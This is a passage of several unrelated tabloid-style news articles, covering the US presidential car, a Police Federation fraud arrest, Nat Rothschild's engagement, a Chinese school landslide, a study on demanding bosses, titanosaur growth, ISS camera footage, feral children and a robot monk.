The fuel tank is coated with armor plating and contains a special foam which expands on impact and prevents it from exploding, even if it suffers a direct hit.

The vehicle is also fitted with night vision cameras, GPS tracking and a satellite communication system to allow it to run in any conditions and make sure the President is always in contact.

There are even two pints of blood matching the President's type on board in case an emergency transfusion needs to be carried out at the roadside.

Concealed within the bodywork is a full range of firefighting equipment, shotguns, night vision goggles and even tear gas launchers to help the vehicle get out of trouble.

In January, the new State Car, which will be used to transport the 45th President following their 2017 inauguration, was seen for the first time.

White House officials put out contracts to build a new car in 2013.

While no car maker has claimed responsibility for building the new vehicle, according to Fox News public documents show General Motors has been awarded three contracts.
Will Riches, 41, was booted out after quitting as vice chairman of the Police Federation of England and Wales last month

A Police Federation fat cat arrested over an alleged 1.15million fraud has been evicted from his grace and favour apartment at the unions luxury HQ.

Will Riches, 41, was booted out after quitting as vice chairman of the Police Federation of England and Wales last month.

Sources said the tattooed officer was no longer entitled to live at the two-bedroom flat at the organisations 26million base in Leatherhead, Surrey. His apartment was one of a number of perks enjoyed by the constable, who is employed by the Metropolitan Police.

Riches, who drives a 45,000 Mercedes CLS 250 and is renowned in police circles for his fondness for fine wine and expensive restaurants such as The Ivy, was served with a notice last month requiring him to leave the flat by Tuesday. He is now living back at his marital home in Essex.

Days after resigning as vice chairman last month he was one of four men  three serving policemen and a retired officer  detained over claims of financial impropriety at the Federation.

Watchdog officials are probing the legality of an alleged transfer of 1.15million from the scandal-hit union to a charitable account last August.

The inquiry was launched two years after the Federation was engulfed in a series of controversies including disclosures over offshore bank accounts, lavish spending and alleged bullying.

In April 2014, two senior officials quit after the Mail revealed the union had hired a PR firm to mastermind a guerrilla campaign against government plans for reform.

There were also questions over the unions role in the Plebgate affair, which concerned an altercation between then-chief whip Andrew Mitchell and police officers at the gates of Downing Street.

Riches, nicknamed Bungalow, quit as vice chairman on March 16  two days before detectives prepared to make arrests.

He has not been suspended by the Met and remains on full pay. According to sources he denies any wrongdoing and is determined to clear his name.

All four suspects remain on bail while an investigation is carried out by the Independent Police Complaints Commission (IPCC) into a start-up payment to the Peelers Charitable Foundation, which was set up last July to support officers in need. Last night the IPCC promised a thorough investigation into the fraud claims.

The unions stockbroker belt HQ, built in one of the countrys most expensive locations, contains a gym, swimming pool, restaurant and ten grace and favour flats together worth nearly 3million. There is also a hotel for use by visiting officers and their families.

Riches, who drives a 45,000 Mercedes, was one of four men detained over claims of financial impropriety at the Police Federation

Confirming that Riches had left his apartment, a Federation spokesman said: Will Riches had the use of a flat in his role as vice-chair and when he resigned from this position he no longer retained right to that property and he left on 19 April.

The organisation also said it is determined to carry out reforms, including the ways in which it deals with some financial matters.

At Riches 400,000 detached home in Essex, his wife Eleanor said he was not available for comment.

Riches basic salary of about 38,000 a year is paid by Scotland Yard but as a senior Federation official he would have been entitled to a salary enhancement of up to 54,420 as well as a generous mileage allowance. Although no longer vice chairman of the union, he remains on the powerful constables central committee.

Riches, a constable in the Met since 1995, first won election to the committee in 2009 and became vice-chairman of the Federation in 2014.

In that year, an independent review of the Federation found it had around 95million in reserves and assets.

An estimated 30million of it was held in separate accounts, details of which were not given to the national heads of the organisation.
As Lord Rothschild, that dynastic figure of huge wealth and the holder of a rare Order of Merit from the Queen, approaches his 80th birthday next Friday, it is good news that his son and heir Nat, 44, is settling down at last.

The elder statesman banker and his elegant wife Serena  daughter of a baronet and granddaughter of an earl  have sometimes had cause to worry about the escapades, both amorous and financial, of their only son.

There was the early period when the slightly built, freckled figure was running wild and drinking to excess.

There was a time when Nat Rothschild was running wild and drinking to excess. But his forthcoming marriage to Loretta Basey, 25, from Middlesex, is seen as the start of a new era, writes GEOFFREY LEVY

More recently came a serious bruising for the Rothschild name, as the young man, hailed by some in the City as a financial genius, raised 700 million from investors for an Indonesian mining venture that went wrong  a mishap from which he has never entirely recovered.

So his forthcoming marriage to Loretta Basey, 25, from Middlesex, is seen as the start of a new era for the erring son whose father once dreamed of him leading the Rothschilds to new heights.

That is unlikely ever to happen now, says a close observer of the family, but Nat will have the consolation of a beautiful trophy wife to show off  he will love doing that. When Loretta marries Nat later this year, she will become the next Baroness Rothschild.

Which is quite something when you consider that she is a former lads mag glamour model and Page 3 girl for The Sun. (She had a habit of shortening her name to the more coquettish Elle for revealing glamour shoots.)

The news of her imminent welcome into this great family has been the cause of considerable excitement at the Fake It Hair & Nails salon in the Market Place, Chalfont St Peter, Buckinghamshire, where Lorettas married elder sister Olivia works as a receptionist.

Livs told us all about it  isnt it thrilling? trilled one of the staff.

Not that the identity of Lorettas previous beau was any the less exciting to the girls working there, especially as this was someone whose name they recognised from the telly.

Until fairly recently, it was thought that Loretta might marry the award-winning actor and comedian Steve Coogan.

She shared his house in Brighton for the best part of four years until 2014 and, according to one of her friends, she was in love with him for a time.

She met divorcee Coogan, now 50, in 2011 when, in the guise of his comic creation Alan Partridge, he guest-edited an edition of Loaded, the now defunct lads magazine.

In one picture, he was cupping her breasts in his hands.

Meeting Coogan signalled the beginning of the end of her two-year stint as one of the most popular Page 3 girls, during which she appeared more than 20 times. He wasnt keen on her continuing to do that kind of work, says Alison Webster, the papers official Page 3 photographer since 2005. He guided her into giving it up.

Until fairly recently, it was thought that Loretta might marry the award-winning actor and comedian Steve Coogan

Her withdrawal was seen as a considerable loss to the glamour photography world.

Alison says: Elle was a great glamour model, a very beautiful girl with a fantastic figure, great boobs, small waist, good bum, and with the bluest eyes and lots of long, chestnut hair.

Being a glamour model is more difficult than you may think.

When you take your clothes off, every little blemish that you have is exposed and visible, but she had none. Elle was also a very strong character, says Alison, a bright girl who was sure of herself and always in control.

And she was ambitious. Wed sit with a glass of wine after a days shoot and shed tell me she wanted to make something more of herself. And I always felt that she would.

For that reason, she kept her two modelling personas separate.

For the glamour modelling in lads magazines and on Page 3, she was on her agents books as Elle Basey. For conventional work  at 5ft 8in tall, shes a touch on the short side for the catwalk, so this was largely hair modelling  she was Loretta Basey.

She was ambitious. Wed sit with a glass of wine after a days shoot and shed tell me she wanted to make something more of herself. Alison Webster

On the glamour modelling circuit, Elle Basey was perceived as very much an individual, a smart girl who chose her friends carefully.

One of these was the fellow model Rhian Sugden, who has been embroiled in an intimate sexting scandal with TV presenter Vernon Kay, husband of Strictly Come Dancing presenter Tess Daly.

As the Hon Mrs Nathaniel Rothschild, Loretta will doubtless continue choosing her friends with care.

H er life has already been changing. For the past two years, she has been working in the sales division for Advanced Air Management, an upmarket private jet charter company with offices in California, New York, Singapore and London.

Meanwhile, Nats parents, Lord and Lady Rothschild, who have been married for 55 years and also have three daughters, are said to find their future daughter-in-law intelligent and charming.

It is no secret that Lord Rothschild, the fourth holder of the barony, would love to see the arrival of a grandson to ensure the continuation of the line.

Lady Rothschild in particular has been anxious for Nat to settle down for ages, says a family friend.

Lorettas future mother-in-law, who turns 81 next week, may be the mistress of Stowell Park, a grand country house near Marlborough in Wiltshire, but shes not unfamiliar with the so-called real world.

Her younger sister is the writer Nell Dunn, who lived in edgy Battersea, South London, and worked in a sweet factory before writing the acclaimed Sixties working-class kitchen sink dramas Poor Cow and Up The Junction.

All in all, it is felt that Loretta  the name always used in her family  will get on well, especially with Nats sisters Hannah Rothschild, the writer and documentary film-maker, Beth, who is vice-president of the Wiltshire Blind Association, and the youngest, Emily, all of whom have an attractive, unconventional streak.

Loretta will not, however, be the first model that Nat has married.

For the glamour modelling in lads magazines and on Page 3, she was on her agents books as Elle Basey. For conventional work  at 5ft 8in tall, shes a touch on the short side for the catwalk, so this was largely hair modelling  she was Loretta Basey. Pictured here with Nat Rothschild at The Unicef UK Halloween Ball

George Osborne, left, and Nat Rothschild, right, in a 1992 Bullingdon Club group photo

His first marriage, in 1995, to supermodel Kate Mosss best friend Annabelle Neilson, lasted three years and produced no children. They met on a beach in India and, to the astonishment of their parents, eloped to wed in Las Vegas.

This time, romance has followed a more conventional path.

Having met Loretta through her jet charter work and got engaged at Christmas, Nat plans to marry her in Klosters, the fancy ski resort in Switzerland.

He has based himself there with just a housekeeper and his German shepherd, having become a tax exile and taken Swiss citizenship a decade ago.

In February, he proudly announced on Twitter that he had become the father of a litter of eight German shepherd puppies  and excitedly posted pictures and a video.

His mother is a regular winter guest. Such is her affection for her son that she named a horse after him  which won the big race, the King George VI and Queen Elizabeth Stakes, at Royal Ascot in 2011. He was with his mother as the cup was presented to her by Prince Harry.

This year, the Old Etonian  and Bullingdon Club friend of Chancellor George Osborne at Oxford  has scarcely been seen there. Some believe he could be thinking of selling up.

Alternatively, he may simply have been taking his intended on a tour of his other homes  in Paris, Moscow, New York and Greece, all of which seldom see him for more than a few days at a time.

His fortune, though, is not quite what it was.

In 2012, the Sunday Times Rich List placed him 73rd, with 1 billion.

The following year that had fallen to 700 million and he was placed 126th.

Last year, this had sunk to a mere 170 million, and he had been relegated to 579th. When the Rich List is published tomorrow, he is likely to have fallen out of it altogether, suggesting his personal fortune has dipped below 100 million.

He wont starve, but would he still spend almost 1 million on a birthday party? He did so on his 40th, holding the bash in luxury Balkan development Porto Montenegro, dispensing invitations that included details of where guests could park their private jets.

It seems to have been a classic networking party as well  and he does have a considerable investment in the development on the Adriatic coast.

Once settled into marriage, hell be thinking of the future and children. But business is never far away. As one acquaintance says, hes always turning over some deal in his mind.

In that arena, however, he has recently suffered some damaging setbacks. First, there was that venture into the Indonesian coal sector, a controversial five-year saga, which ended last summer when Rothschild sold his stake in the industry.

The Financial Times reported that Mr Rothschild declined to say how much he lost since first doing a deal with Indonesias Bakrie family in 2010 . . . but people familiar with the deal estimate the figure at 80 million.

In 2012, the Sunday Times Rich List placed Nat Rothschild 73rd, with 1 billion. Last year, this had sunk to a mere 170 million, and he had been relegated to 579th

Then there has been his foray into the turbulent world of Middle East oil exploration. Along with Tony Hayward  infamous for his shaky handling of the 2010 Deepwater Horizon crisis when he was boss of BP  Rothschild founded Genel Energy, which sought to make a killing in the semi-autonomous Kurdistan region of Iraq.

But Nat, who is a non-executive director, has seen the firms share price plunge by around 90 per cent in the past two years.

Part of the reason is the advance of Islamic State extremists in the region, but two months ago the value of the companys main oilfield was reduced by $1 billion (700 million) after a reassessment of its resources.

How soothing in these distressing times it must be for this young cavalier of the investment world to have lovely Loretta at his side. For all that, his friends still include global players such as Russian metals oligarch Oleg Deripaska, and Chelsea FC owner Roman Abramovich.

Rothschild still occasionally sees Lord (Peter) Mandelson, a cabinet minister under New Labour, though meetings with his old Bullingdon friend George Osborne have been somewhat scarcer since a spectacular and very public fallout in 2008.

Osborne had come under fire for having mischievously gossiped to journalists that, over lunch on the Greek Island of Corfu, Mandelson dripped pure poison in his ear about the then labour prime minister Gordon Brown.

When Nat discovered what Osborne had done, he wrote a letter to The Times, alleging  in what was seen as an act of revenge  that Osborne had attempted to solicit contributions to the Tory coffers from Deripaska during a stay on the Russian tycoons 80 million yacht.

This would have been illegal, as Deripaska was not resident in the UK. Osborne denied the charge. It was a brilliant spat.

As for women, Nats life has certainly been quieter in recent times, to the relief of his parents.

They have never forgotten  and he has never denied  an escort girls story that she was asked to provide strippers and drugs for a party that he threw in 1994.

The party was held at Waddesdon Manor, the Rothschild family seat in Buckinghamshire that has played host to U.S. Presidents Reagan and Clinton, as well as Lady Thatcher.

The girl said at the time: They were very precise in what they wanted  three slim black girls in stockings, suspenders and high heels.

They also wanted the girls to do extras.

Then just down from Oxford University, Nats wild-child reputation flourished.

But his father has not let him ignore the responsibility of bearing the name of Nathan Rothschild, his 19th-century ancestor whose financial services helped the Duke of Wellington win the Battle of Waterloo.

Meanwhile, those who know about Nats penchant for beautiful women are hardly surprised that his second incursion into marriage is with another beautiful model.

But Loretta, it must be said, is more than looks alone.

She is well-spoken and closely follows the news to keep herself informed. Whats more, her father Philip Basey is  conveniently enough for his financier future son-in-law  a chartered accountant, who sits on the board of several companies.

As for Lorettas ability to cope with the high-powered people in the Rothschild world, she is said to have been doing so with some style for some months.

The future Lady Rothschild put down a notable social marker at last Octobers Unicef Halloween Ball in London, when she wore a brief leotard, fishnet tights and a lion-tamers jacket, while flourishing a whip.
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A Chinese primary school was severely damaged by a landslide yesterday leaving at least 21 pupils injured.

The incident occurred at 11:30am at Fushi Town's Liuliao Village in Rong'an County, southern China's Guangxi Zhuang Autonomous Region, according to the People's Daily Online.

The rockslide, which was reportedly triggered by persistent rain, sent giant boulders down the slope which crashed into classrooms packed with grade one and grade two pupils.

Devastating: A Chinese primary school was seriously damaged by a landslide at Fushi Town's Liuliao Village in Rong'an County, China

Wrecked: Boulders as tall as six feet, said a witness, crashed into classrooms filled with young pupils aged between six and seven

Shocking aftermath: The rockslide was triggered by continuous rainfall in the region, claimed officials at the local weather bureau

School day gone wrong: At least 21 pupils had been injured and hospitalised after the natural disaster took place at the village school

The primary school, which has 149 pupils and nine members of staff, is located at the foot of a Karst hill.

The injured pupils, who are aged six or seven, were attending their classes at the time.

According to People's Daily Online, a total of 21 students were injured by the natural disaster and had been taken to the People's Hospital and the Chinese Medicine Hospital in Fushi Town.

Seven of them were seriously wounded, but none of them suffered life-threatening injuries.

However, Shanghai Daily reported that 23 people, including 22 pupils and a member of staff at the school's canteen, had been taken to the hospital by 6pm yesterday local time.

One pupil had had a broken leg and another one had sustained severe head injuries, reported Shanghai Daily. Most of the casualties were in stable condition.

Rest well: However, some Chinese media said a total of 23 people, including a member of staff at the school, have been taken for treatment

The scene no parents want to see: Pictures taken after the incident show the desks and chairs in the classrooms were totally wrecked

Raining rock: The head of faculty at the school told reporters that she heard loud bangs and immediately shouted 'quick, run, landslide'

Not a second to lose: Village officials as well as rescue force arrived at the school at once to save pupils who had been hit by the rocks

Pictures taken after the incident show part of the school have been totally destroyed by the landslide.

Huge pieces of rock, which eyewitnesses described measuring up to six feet tall, smashed wall of the classrooms and wrecked desks and chairs.

Zeng Fanying, Liuliao Village Primary School's head of faculty, told Xinhua News Agency: 'At the time, [I] suddenly heard loud bangs. [They sound] like firecrackers.

'I suddenly feel it might be a landslide. I immediately shouted: "Quick, run, landslide."'

Zeng added that village officials quickly arrived at the school to rescue pupils who had been knocked down by the debris.

The school will resume classes next Monday, said the local education bureau.

Wei Lan, director of the land and resources bureau of the county, said around 56,503 cubic feet of rocks had fallen to the school.

The local authority said the incident was caused by continuous rainfall in the region.

Further investigation into the incident as well as a safety inspection are being carried out by the government, according to Chinese media.

Remote location: The school, which has 149 pupils and nine members of staff, is located at the foot of a Karst hill in southern China
We all know them - they are the bosses who try to eek that last little bit from their staff by encouraging them to go beyond the call of duty.

But a new study has found by doing so, they may in fact be harming their employees' health.

Transformational leaders, who try to implement dramatic visions for change and try to inspire staff to meet ambitious targets, were previously thought to have a positive impact on their workforce.

Bosses who put undue pressure on their staff in their attempts to transform the workplace may actually be harming their worker's health. Scientists found managers who encourage their staff to go beyond the call of duty - much like Miranda Priestly in the Devil Wears Prada (pictured) - can lead their staff to take time off sick

But new research suggests that by putting undue pressure on their workers to make an extra effort, they can actually exacerbate the levels of sickness within a company.

From Miranda Priestly in the Devil Wears Prada to Bill Lumbergh in Office Space, there are many examples in film of bosses who put undue pressure on their staff, to the employee's detriment.

Scientists claim this may occur because staff try to take less time off when they are sick, meaning they never properly recover, while the risk of spreading illnesses increases.

OFFICE RUDNESS IS CONTAGIOUS It is a problem seen in offices around the world - when the boss is in a prickly mood it creates an atmosphere that can spread like a plague through all levels of the workforce. A recent study confirmed that rudeness at work really can be contagious as it travels from person to person 'like a disease'. Researchers claim that even petty behaviour, like leaving someone off an invite to a communal event or spreading rumours, can start the cycle off. They found even witnessing a supervisor being uncivil to another worker was often enough to cause people to be rude to those around them. Often those who experienced rudeness would also then go on to be uncivil to others. Advertisement

Professor Karina Neilsen, a work and organisational psychologist the University of East Anglia, said this can take its toll on the long-term health of employees.

'Such leaders express values to perform above and beyond the call of duty possibly at the expense of employees' health because they have a self-interest in demonstrating low sickness absence rates in their work groups.

'This pattern may be a particular problem in organisations where managers are rated according to their ability to control sickness absence levels.'

In a study published in the journal Work and Stress, Dr Neilsen and her colleagues focused on postal workers in Denmark and their managers over a threeyear period.

The 155 participants rated their immediate line manager at the start of the study and were asked about their sickness absence and presenteeism - the practice of working more hours than is required - for the previous year.

After two and three years their sickness absence was reassessed.

The authors found staff working for transformational leaders took more sick leave in the second year of the study.

But those who had bosses that encouraged working longer hours tended to have the highest levels of sick leave in the third year and much less in the second.

The researchers found bosses who encouraged presenteeism among their employees could cause them to have far more days off sick in the long term. A study of postal workers in Denmark showed that over the course of three years, people who were pressured to do more work took much more time off sick (illustrated)

The findings suggest the pressure placed upon staff with demanding bosses caused them to suffer in the long term.

Professor Kevin Daniels, an expert in organisational behaviour at the University of East Anglia who also took part in the study, said: 'The assumption that 'more transformational leadership is better' does not hold over time.

'As role models, transformational leaders should display healthy behaviours when motivating people, they should monitor and check them, and encourage workers to look after their own health.

'Managers need to strike a balance, they can still encourage staff to perform well, but in a way that is not at the expense of their health and well-being.'
Think your kids grow fast? Scientists say one dinosaur baby went from tiny to a true titan in the blink of a prehistoric eye.

At birth, titanosaur babies weighed about as much as average human babies, 6 to 8 pounds. But in just a few weeks, they were at least the size of golden retrievers, weighing 70 pounds.

And by age 20 or so, they were bigger than school buses.

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A titanosaur, a silhouette representing the size of a hatchling titanosaur, relationship to a human at birth, tiny titanosaur babies weigh about as much as average human babies, 6 to 8 pounds. But in just a few weeks, they're shedding the tiny descriptor and are at least the size of golden retrievers, weighing 70 pounds, knee-high to a person. And by age 20 or so, they're bigger than school buses.

HOW BIG WERE THE TITANOSAURS? Titanosaurs were plant-eating dinosaurs which lived about 67 million years ago. They grew to be 15 feet tall, not including their necks and heads. They could stretch out to be 50 feet long. Advertisement

That jump from something that you could hold in your hands to one of the largest creatures to ever roam Earth beats anything scientists have seen before in terms of growth, said paleontologist Kristi Curry Rogers of Macalester College in St. Paul, Minnesota.

She is lead author of a new study on the baby dino fossils published Thursday in the journal Science.

By comparison, modern giants like whales, elephants and hippos are born much bigger than titanosaurs..

Jeff Wilson of the University of Michigan who wasn't part of the study said this is the paradox of this class of dinosaurs: They started out as tiny eggs and ended up as the largest animals on the planet.

Titanosaurs, plant-eating dinosaurs which lived about 67 million years ago, grew to be 15 feet tall, not including their necks and heads.

That jump from something that you could hold in your hands to one of the largest creatures to ever roam Earth beats anything scientists have seen before in terms of growth.

They could stretch out to be 50 feet long.

Looking through old bones stored in a museum after a dig in Madagascar, Rogers found enough small bone fossils to reconstruct a soon-after-hatching rapetosaurus (Ruh-PAY-too-SORE-us), a type of titanosaur.

The baby dinosaur died of starvation during a drought that killed many others in the region, she said.

And yes, you could call it cute.

'There is no doubt that these baby titanosaurs would have had some of the features we would normally associate with cuteness or baby-ness: short snout, large eyes, big head for a body  like a puppy,' said Luis Chiappe, director of the Dinosaur Institute at the Natural History Museum of Los Angeles, who wasn't part of the research but praised it.

The fossils confirmed that these creatures were precocious, Rogers said: They hatched from the egg pretty much ready to walk and live on their own.

It would have been hard for the giant parents to care for their babies.

They had 20 to 30 softball size eggs in a nest and when they hatched, it would have been hard for the adults 'to keep track of all the babies around their feet,' Rogers said. 'It was just a free-for-all.'

Looking through old bones stored in a museum after a dig in Madagascar, Rogers found enough small bone fossils to reconstruct a soon-after-hatching rapetosaurus , a type of titanosaur. The baby dinosaur died of starvation during a drought that killed many others in the region, she said.
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Stunning ultra high-definition footage from the International Space Station prove just how small, yet beautiful our world really is.

Urthecasts Iris camera filmed areas of Dubai, United Arab Emirates, the Pyramids of Giza in Egypt and Cape Town South Africa in 2015 for a breathtaking show.

The camera is so powerful that it was able to clearly capture cars travelling on roads and waves crashing on beaches.

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Stunning ultra high-definition footage from the International Space Station shows the Pyramids of Giza in Egypt. The camera is so powerful that it was able to clearly capture cars traveling on roads.

Yes, there are places on the planet where even drones and helicopters cant be flown to capture video of the Earth below, Theras Wood, content and communications at UrtheCast, shared in a blog post.

Our space-based video captures the globe between 52 north and south  an area of the planet in which ~95% of the human population lives.

The camera unable to capture individual people, but it can get a crowd from about 220 miles above Earths surface, reports Mashable.

Although this technology seems out of this world, Urthecast makes it available to companies and individuals to gather more information about our planet.

For example, experts who are tracking deforestation or creating traffic models can use this camera, Urthecast said.

Iris was installed two years ago and resides on the Russian segment of the ISS.

The Russian space agency, Roscosmos, agreed to host the cameras on the $100 billion station for UrtheCast, a project of 15 countries.

This was in exchange for rights to use images and video taken over Russia.

UrtheCast has commercial rights to images and video of the rest of the world.

The space company was founded by Wade Larson, a veteran of the Canadian space sector for almost two decades.

The camera. Iris, is medium-resolution that provides 5 meters per pixel for images and is required to stay on the point platform so it can aim at specific targets.

It focuses on an are for about one minute, depending on where the station is relative to the ground.

And the images sent from the space station to Earth arent in the form seen in the videos.

The space-based video captures the globe between 52 north and south  an area of the planet in which ~95% of the human population lives. The camera unable to capture individual people, but it can get a crowd from about 220 miles above Earths surface.The camera shows an amazing view of the circular Cape May Stadium

Although this technology seems out of this world, Urthecast makes it available to companies and individuals to gather more information about our planet. For example, experts who are tracking deforestation or creating traffic models can use this camera, Urthecast said. Iris was installed two years ago and resides on the Russian segment of the ISS. Iris was able to capture the beautiful colors of Dubai

There is a lot of post-process that is done to recreate the stunning images and videos.

Urthecast has also designed programs that arent affected by the movement of the station or the crew members orbiting around outside the station.

Last year the firm released full-colour HD videos of Earth  showing London, Boston and Barcelona - at an incredible 3.2ft (1 metre) resolution.

This is detailed enough to be able to see cars and even people moving around the planet, and it's only a teaser of what is to come.

'We're revealing a perspective of Earth from space that was previously reserved for a small few,' said Scott Larso, UrtheCast co-founder.

HOW THE CAMERA WORKS The camera. Iris, is medium-resolution that provides 5 meters per pixel for image It rides on a steerable, gyro-stabilised platform controlled by a computer on the ISS. The computers cancels out, in real-time, any vibrations caused by astronauts' movements. As the ISS circles the world 15 times per day, the two cameras will constantly be rolling and capturing unique videos and imagery. Iris was installed two years ago and resides on the Russian segment of the ISS. The Russian space agency, Roscosmos, agreed to host the cameras on the $100 billion station for UrtheCast, a project of 15 countries. This was in exchange for rights to use images and video taken over Russia. UrtheCast has commercial rights to images and video of the rest of the world. The camera. Iris, is medium-resolution that provides 5 meters per pixel for images and is required to stay on the point platform so it can aim at specific targets. It focuses on an are for about one minute, depending on where the station is relative to the ground. Advertisement

Ranging in length from 34 to 47 seconds, and covering areas of up to 1.19 x 0.67 miles (1.92 x 1.08 km), the footage is, as of yet, unparalleled.

Wade Larson, UrtheCast co-founder, said: 'We are realising UrtheCast's mission to bring something really quite unique to the Earth Observation industry.
One morning during August 1848, a British trooper was riding along a river bank in Bengal, northern India, when he spotted a large sandy- coloured wolf loping from her lair accompanied by three cubs.

Such a sight was by no means unusual, but then the trooper saw something that made him pull on his reins  following right behind the cubs was a small boy on all fours.

The mother seemed to guard all of them with equal care, recounted another British soldier, Colonel William Sleeman, in a pamphlet he wrote a few years later. They all went down to the river and drank, without perceiving the trooper, who sat on his horse watching them.

Occurrences of animals raising human children have been reported for centuries like the relationship in the Jungle Book (pictured)

The idea of children being brought up by animals is enshrined in the Roman legend of the twins Romulus and Remus

For a while, the horseman sat mesmerised by the bizarre sight of the child lapping at the water in the same way as the wolves. And then, just as quickly as the strange pack appeared, it started to head back to its den.

The trooper giddied up his horse, determined to rescue the boy. But even riding as hard over the stony and uneven ground, he could not keep up with the wolves or the child. Within a few seconds they had disappeared.

The trooper did not give up, and he returned a few hours later with a group of men armed with pickaxes to dig out the den. After they had excavated to a depth of 8ft, the wolves and the boy darted out, but this time, the trooper was able to catch him.

They took the boy to the village, but had to tie him, for he was very restive, and struggled hard to rush into every hole or den they came near, wrote Sleeman.

A story of a boy seemingly raised by wolves was one of many that emerged from India in the 19th century

Tales abounded of children nurtured by wolves, many of whom were said to prove incapable of interacting with humans after they had been rescued

They tried to make him speak, but could get nothing from him but an angry growl or snarl. When a grown-up came near him he became alarmed and tried to steal away, but when a child came near, he rushed at it with a fierce snarl, like that of a dog, and tried to bite it.

For the next two years, the boy continued to behave like a wolf, eating raw meat and refusing to wear clothes, no matter how cold the weather. Shunning human company, he preferred to make friends with stray dogs and would eat from their dishes.

And then, two years to the month after he had been found by the trooper, the boy fell gravely ill. No one knew what he was suffering from, and the only time he was ever known to speak was when he pointed at his head and said it ached. He died that day.

This story of a boy seemingly raised by wolves is just one of many that emerged from India in the 19th century. Tales abounded of children nurtured by wolves, many of whom were said to prove incapable of interacting with humans after they had been rescued.

The phenomenon was treated with such seriousness that the respected academic journal, The Zoologist, carried an article on the subject by Sleeman in 1888.

One of those who was aware of these tales was the author Rudyard Kipling, and there is no doubt he based the character of Mowgli in his much-loved The Jungle Book stories on accounts of man-cubs.

With the latest movie version of The Jungle Book, featuring the voices of stars Bill Murray, Idris Elba, Christopher Walken and Scarlett Johansson, it is clear the notion of a child being raised by animals has an enduring appeal.

Rudyard Kipling based the character of Mowgli in his much-loved The Jungle Book stories on accounts of man-cubs

In fact, such occurrences have been reported for centuries. A version is enshrined in the Roman legend of the twins Romulus and Remus, who were not only said to have been suckled by a wolf, but fed by a woodpecker.

But are such stories true? Have there ever been any real Mowglis who have been raised by wolves or some other animal? Is it possible for an animal to raise a human?

There are plenty of stories to suggest it is possible, with not just wolves and dogs, but sheep, bears, pumas, monkeys and even ostriches reputedly capable of being more than adequate foster parents.

Of these, wolves and dogs seem to be the most likely to nurture a child. Take the case of Oxana Malaya, a seven-year-old girl from the Ukraine who was discovered in 1991 living on a rundown farm surrounded by dogs, having been abandoned by her parents five years before.

When she was taken into care, Oxana was unable to speak, ran around on all fours and barked. More disturbingly, she cleaned herself in the same way as a dog.

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When the story of Oxana became public, she became known as dog girl, and it was reported she had been looked after by dogs, who had provided her not only with warmth, but had also effectively raised her.

Oxanas experiences would be echoed seven years later with the case of Ivan Mishukov, a six-year-old who was given the name dog boy when Moscow police rescued him from the citys streets, where he had been begging for two years.

Ivans only friends were a pack of dogs, whom he fed with the food he had scavenged. In return, the animals apparently provided him with warmth when he slept, as well as seeing off assailants.

While Oxana appeared to have adopted many canine traits, Ivan maintained his humanity, though he could barely speak and was more likely to snarl.

However, like Oxana, it did not take him long to learn Russian and both have grown into normal adults, with Ivan having joined the army and Oxana working with animals on a farm.

For other feral children, adapting to human society after years in the wild with only animals for company can be very difficult.

In Uganda in 1988, a three-year-old boy called John Ssebunya witnessed his father murder his mother. He fled into the jungle and befriended a group of vervet monkeys with whom he lived for the next three years.

When John was discovered in 1991, his story read like that of a real Mowgli or perhaps Tarzan. According to some accounts, the monkeys had fed him and he had swung with them through the jungle canopy.

There are plenty of stories to suggest it is possible, with not just wolves and dogs, but sheep, bears, pumas, monkeys and even ostriches reputedly capable of being more than adequate foster parents

Wolves and dogs seem to be the animals that are most likely to be able to nurture a child

They guarded me and gave me protection, he later recalled. The monkeys used to love me  we played together all the time.

What made Johns story even more startling was that despite his youth, his body was covered in hair, which made him appear more simian than human.

It took John many years to become human and he was hampered by having learning difficulties. Today, John is 32 and fully rehabilitated, with a marvellous singing voice that has enabled him to perform with the prestigious Pearl of Africa choir.

His covering of body hair has disappeared: it was, in fact, a condition called hypertrichosis.

Another person who claims to have been raised by monkeys is Bradford housewife Marina Chapman.

In 2013, she published an extraordinary account of how capuchin monkeys in Colombia helped her survive after she was abandoned in the rainforest by kidnappers who had botched her abduction.

Marina claimed to have copied the monkeys eating habits and high-pitched cries  and, like John Ssebunya  had even learned to climb into the jungle canopy.

I couldnt have been more excited, she recalled. So here was where they most liked to be. I had become fully part of their world.

But can any of these extraordinary stories be all they seem? It is hard to find a scientist who will give them much credence.

Many feral cases are hoaxes  vastly elaborated tall tales, says Mary-Ann Ochota, an anthropologist, TV presenter and Fellow of the Royal Geographical Society.

A child being raised by animals is a story that occurs in many cultures and has done so over a long period of time. However, Im afraid the idea that an animal can raise a human child really has to be seen as the stuff of legend.

In the tales of the supposedly real Mowglis, an association between a feral child and a group of animals is often overblown and spun into a nurturing relationship, in which the animal takes the place of a human parent.

In the tales of the supposedly real Mowglis, an association between a feral child and a group of animals is often overblown and spun into a nurturing relationship, in which the animal takes the place of a human parent

Ms Ochota met John Ssebunya for a TV programme she made on feral children. As she discovered, vervet monkeys are tolerant of human beings around them.

They are also not the tidiest of eaters, she says. Its likely John was able to pick up their scraps and somehow believe the monkeys were giving him food.

In fact, monkeys would not give food away, and the idea they would do so is simply to romanticise the brutality of child abandonment.

As Ms Ochota points out, the stories of these children are really not about animals, but more about child abuse and neglect.

The fates of these feral children can reveal uncomfortable truths about how we treat people who are different to ourselves, she says.

So why do we persist in telling  and, indeed, believing  these tall tales of feral children?

I think we develop these stories to try to establish what it is to be either a person or an animal, she says.

Therefore, the stories of feral children act as a bridge between us and the animal kingdom in which creatures become humanised and humans become more like creatures.

The idea is a seductive one and as long as we are still fascinated by our relationship with wildlife, then these stories will always be with us.
A Buddhist temple on the outskirts of Beijing has decided to ditch traditional ways and use technology to attract followers.

Longquan temple has developed a robot monk that can chant Buddhist mantras, move via voice command, and hold a simple conversation.

Named Xian'er, the 2ft-tall (60cm) robot resembles a cartoon-like novice monk in yellow robes with a shaven head, holding a touchscreen on its chest.

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Longquan temple says it has developed a robot monk that can chant Buddhist mantras, move via voice command, and hold a simple conversation. Named Xian'er (pictured), the 2ft-tall (60cm) robot resembles a cartoon-like novice monk in yellow robes with a shaven head, holding a touch screen on its chest

Xian'er can hold a conversation by answering around 20 simple questions about Buddhism and daily life, listed on its screen, and perform seven types of motions on its wheels.

Master Xianfan, Xian'er's creator, said the robot monk was the perfect vessel for spreading the wisdom of Buddhism in China, through the fusion of science and Buddhism.

